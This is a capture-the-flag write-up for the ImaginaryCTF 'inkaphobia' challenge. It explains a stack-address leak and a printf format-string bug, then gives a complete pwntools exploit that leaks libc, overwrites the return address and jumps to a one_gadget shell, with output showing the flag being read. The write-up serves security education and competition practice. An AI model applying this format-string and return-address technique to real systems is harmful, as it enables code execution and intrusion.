[Link to original writeup](https://wrecktheline.com/writeups/imaginary-2021/#inkaphobia)
# inkaphobia (12 solves, 300 points)by JaGoTu
## Description```Seems that random.org limits how much entropy you can use per day. So why not reuse entropy?
Attachments* inkaphobia* libc.so.6
nc chal.imaginaryctf.org 42008
AuthorEth007
Points300```
## Preparations
We are given an **executable ELF file** and the `libc` used on the remote server. If we run the `libc` as an executable it prints out the detailed version number, which can be useful for hunting down the appropriate `ld` and/or figuring out what heap attacks are possible.
```$ file inkaphobiainkaphobia: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94d52866ffae8870328062ac5dee4cfd5f884469, not stripped
$ file libc.so.6libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=099b9225bcb0d019d9d60884be583eb31bb5f44e, for GNU/Linux 3.2.0, stripped
$ ./libc.so.6GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.Copyright (C) 2020 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 9.3.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.```
I'll use pwninit to get the proper `ld`:
```$ pwninit --no-patch-bin --no-template --libc libc.so.6 bin: ./inkaphobialibc: libc.so.6
fetching linkerunstripping libceu-unstrip: cannot find matching section for [16] '.text'eu-unstrip: cannot find matching section for [17] '__libc_freeres_fn'eu-unstrip: cannot find matching section for [18] '.rodata'eu-unstrip: cannot find matching section for [19] '.stapsdt.base'eu-unstrip: cannot find matching section for [20] '.interp'eu-unstrip: cannot find matching section for [21] '.eh_frame_hdr'eu-unstrip: cannot find matching section for [22] '.eh_frame'eu-unstrip: cannot find matching section for [23] '.gcc_except_table'eu-unstrip: cannot find matching section for [24] '.tdata'eu-unstrip: cannot find matching section for [25] '.tbss'eu-unstrip: cannot find matching section for [26] '.init_array'eu-unstrip: cannot find matching section for [27] '.data.rel.ro'eu-unstrip: cannot find matching section for [28] '.dynamic'eu-unstrip: cannot find matching section for [29] '.got'eu-unstrip: cannot find matching section for [30] '.got.plt'eu-unstrip: cannot find matching section for [31] '.data'eu-unstrip: cannot find matching section for [32] '__libc_subfreeres'eu-unstrip: cannot find matching section for [33] '__libc_IO_vtables'eu-unstrip: cannot find matching section for [34] '__libc_atexit'eu-unstrip: cannot find matching section for [35] '.bss'eu-unstrip: cannot find matching section for [36] '__libc_freeres_ptrs'warning: failed unstripping libc: eu-unstrip exited with failure: exit status: 1setting ./ld-2.31.so executable```
The unstripping fails, but that's not a big deal, important is we got the `ld-2.31.so`.
After that, I generate my exploit template using `pwn template`:
```$ pwn template --host chal.imaginaryctf.org --port 42008 ./inkaphobia >inkaphobia.py```
And lastly modify it to use the correct `libc`, replacing the line in the generated `start_local` with:
```pyreturn process(['./ld-2.31.so', '--preload', './libc.so.6', './inkaphobia'] + argv, *a, **kw)````
We are now ready to work on the exploit locally:
```$ python3 inkaphobia.py LOCAL[*] '/home/jagotu/ctf/imaginary/inkaphobia'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Starting local process './ld-2.31.so': pid 2456[*] Switching to interactive modeWelcome to my RNG service!Enter max value: $ 42Random number: 2Enter max value: $ [*] Interrupted```
## Reversing
Throwing the binary into IDA and renaming a few things here and there, we are left with with the following two important methods:
```Cint __cdecl main(int argc, const char **argv, const char **envp){  unsigned int seed; // eax  int random_value; // [rsp+Ch] [rbp-214h] BYREF  char s[520]; // [rsp+10h] [rbp-210h] BYREF  unsigned __int64 v7; // [rsp+218h] [rbp-8h]
  v7 = __readfsqword(0x28u);  setvbuf(_bss_start, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 2, 0LL);  mprotect(&abort, 0x2500000uLL, 5);  puts("Welcome to my RNG service!");  seed = time(0LL);  srand(seed);  random_value = rand();  dorng((__int64)&random_value);  puts("Thanks for visiting our RNG! What's your name?");  fgets(s, 512, stdin);  printf("Thanks for coming, ");  printf(s);  return 0;}
void __fastcall dorng(__int64 a1){  int i; // [rsp+14h] [rbp-21Ch]  __int64 v2; // [rsp+18h] [rbp-218h]  char s[520]; // [rsp+20h] [rbp-210h] BYREF  unsigned __int64 canary; // [rsp+228h] [rbp-8h]
  canary = __readfsqword(0x28u);  for ( i = 0; i <= 5; ++i )  {    printf("Enter max value: ");    fgets(s, 16, stdin);    v2 = atol(s);    if ( v2 > 127 || v2 <= 0 )    {      puts("Go away.");      exit(0);    }    printf("Random number: %ld\n", a1 % v2);  }}```
After some basic `setvbuf` and a weird `mprotect` call (which I have no idea why it's there), a random value gets generated and stored in `random_value`. However, **`dorng` is called with `&random_value`**, a.k.a the pointer to `random_value` and not the generated number itself. The pointer is never dereferenced in `dorng`, so `dorng` allows us to **leak information about a pointer to the stack** ?.
After `dorng` happens, there's a `printf` on an arbitrary user string, resulting in a **format string vulnerability** ?. I won't explain in detail how these work, because there's a lot of good material out there, but this bug allows us to do arbitrary reads and writes.
## Plan of attack
We can use the `dorng` function to leak `a1 % n` for 6 different values of `n` given they are <= 127. If we choose 6 different big primes, using the **chinese remainder theorem** we can calculate `a1` modulo the product of all the primes. The biggest primes <= 127 are `[101, 103, 107, 109, 113, 127]`, resulting in getting `a1` modulo `101*103*107*109*113*127 = 1741209542339 = 0x195682D1EC3`. As we know stack addresses always begin with `0x7f`, that is enough to get the exact value of the stack pointer.
After we have a stack pointer leak, we can find the return address relative to it, and overwrite it with the address of `main`. This way we get unlimited loops of the target.
We need at least two loops, cause we will leak the address of `libc` in the first iteration and then overwrite the return address with `one_gadget` in the second iteration.
## Implementation
First, let's explain some implementation details:
For creating the printf payloads, I use pwntools' `fmtstr_payload`. However, it doesn't support leaking information, only writes. As we need to leak the `libc` at the same time we overwrite the return address, I just duct-taped a prefix and suffix to the generated payload with the correct (hardcoded) offsets.
As some `libc` functions expect the stack to be 16-byte aligned (a.k.a the MOVAPS issue), to properly loop we need to add a `ret` gadget call before returning to `main`.
The one_gadget I was using was this one:
```0xe6e79 execve("/bin/sh", rsi, rdx)constraints:  [rsi] == NULL || rsi == NULL  [rdx] == NULL || rdx == NULL```
`rdx` was already NULL, so we just needed to `pop` NULL into `rsi`. Also, the procedure savessomething using an rbp offset, so we need to fix rbp to point somewhere legit. Usually I point it randomly into the `libc` data section, but as we had a stack leak, I just pointer `rbp` back on stack.
This is the resulting exploit:
```py#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host chal.imaginaryctf.org --port 42008 ./inkaphobiafrom pwn import *from functools import reduceimport math
# Set up pwntools for the correct architectureexe = context.binary = ELF('./inkaphobia')
# Many built-in settings can be controlled on the command-line and show up# in "args".  For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or 'chal.imaginaryctf.org'port = int(args.PORT or 42008)
def start_local(argv=[], *a, **kw):    '''Execute the target binary locally'''    if args.GDB:        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return process(['./ld-2.31.so', '--preload', './libc.so.6', './inkaphobia'] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):    '''Connect to the process on the remote host'''    io = connect(host, port)    if args.GDB:        gdb.attach(io, gdbscript=gdbscript)    return io
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.LOCAL:        return start_local(argv, *a, **kw)    else:        return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals())
#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:    Full RELRO# Stack:    Canary found# NX:       NX enabled# PIE:      No PIE (0x400000)
def chinese_remainder(n, a):    sum=0    prod=reduce(lambda a, b: a*b, n)    for n_i, a_i in zip(n,a):        p=prod//n_i        sum += a_i* mul_inv(p, n_i)*p    return sum % proddef mul_inv(a, b):    b0= b    x0, x1= 0,1    if b== 1: return 1    while a>1 :        q=a// b        a, b= b, a%b        x0, x1=x1 -q *x0, x0    if x1<0 : x1+= b0    return x1
def leak_stack():    a = []    n = [ 101, 103, 107, 109, 113, 127,]    for i in n:        io.sendlineafter(b'value:', str(i).encode())        io.recvuntil(b'number: ')        a.append(int(io.recvline().strip()))     mod = chinese_remainder(n,a)    total = math.prod(n)    res = mod    while res < 0x7f0000000000:        res += total    return res
def exec_fmt(payload):    io.sendlineafter('?', payload)    io.recvuntil(b"coming, ")      return io.recvuntil(b"Welc")[4:]
libc = ELF('./libc.so.6')ret_gadget = 0x4006de
offset = 8
io = start()
#1. leak libc and ret back to mainstack = leak_stack()ret = stack + 0x21Cpayload = b"AAAAAAAAAAAAAAAAAAAAAAAAAA%22$6s" + fmtstr_payload(offset+4, {    ret: ret_gadget,    ret+8: exe.symbols['main']}, numbwritten=32) + p64(exe.got['printf'])printf_leak = u64(exec_fmt(payload)[22:22+6].ljust(8, b'\x00'))libc.address= printf_leak - libc.symbols['printf']
pop_rsi = libc.address + 0x27529pop_rbp = libc.address + 0x256c0one_gadget = libc.address + 0xe6e79
#2. fix rsi and rbp, ret to one_gadgetstack = leak_stack()ret = stack + 0x21Cpayload = fmtstr_payload(offset, {    ret: pop_rsi,    ret+8: 0,    ret+16: pop_rbp,    ret+24: stack,    ret+32: one_gadget     })
io.sendlineafter('?', payload)io.recvuntil(b"coming, ")
io.interactive()```
## Flag
```$ python3 inkaphobia.py [*] '/home/jagotu/ctf/imaginary/inkaphobia'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] '/home/jagotu/ctf/imaginary/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to chal.imaginaryctf.org on port 42008: Done/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes  res = self.recvuntil(delim, timeout=timeout)[*] Switching to interactive mode\xa0                                            \x00    \x00              \x13                        A     A                %                                     7                     l 9                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          %      4                                                                                              6                               n                                                                                                                                                                                                               h    4caaaap\xab0\x05\x7f$ iduid=1000 gid=1000 groups=1000$ cat flag.txtictf{th3_3ntr0py_th13f_str1k3s!_38ba8f19}$ [*] Interrupted[*] Closed connection to chal.imaginaryctf.org port 42008```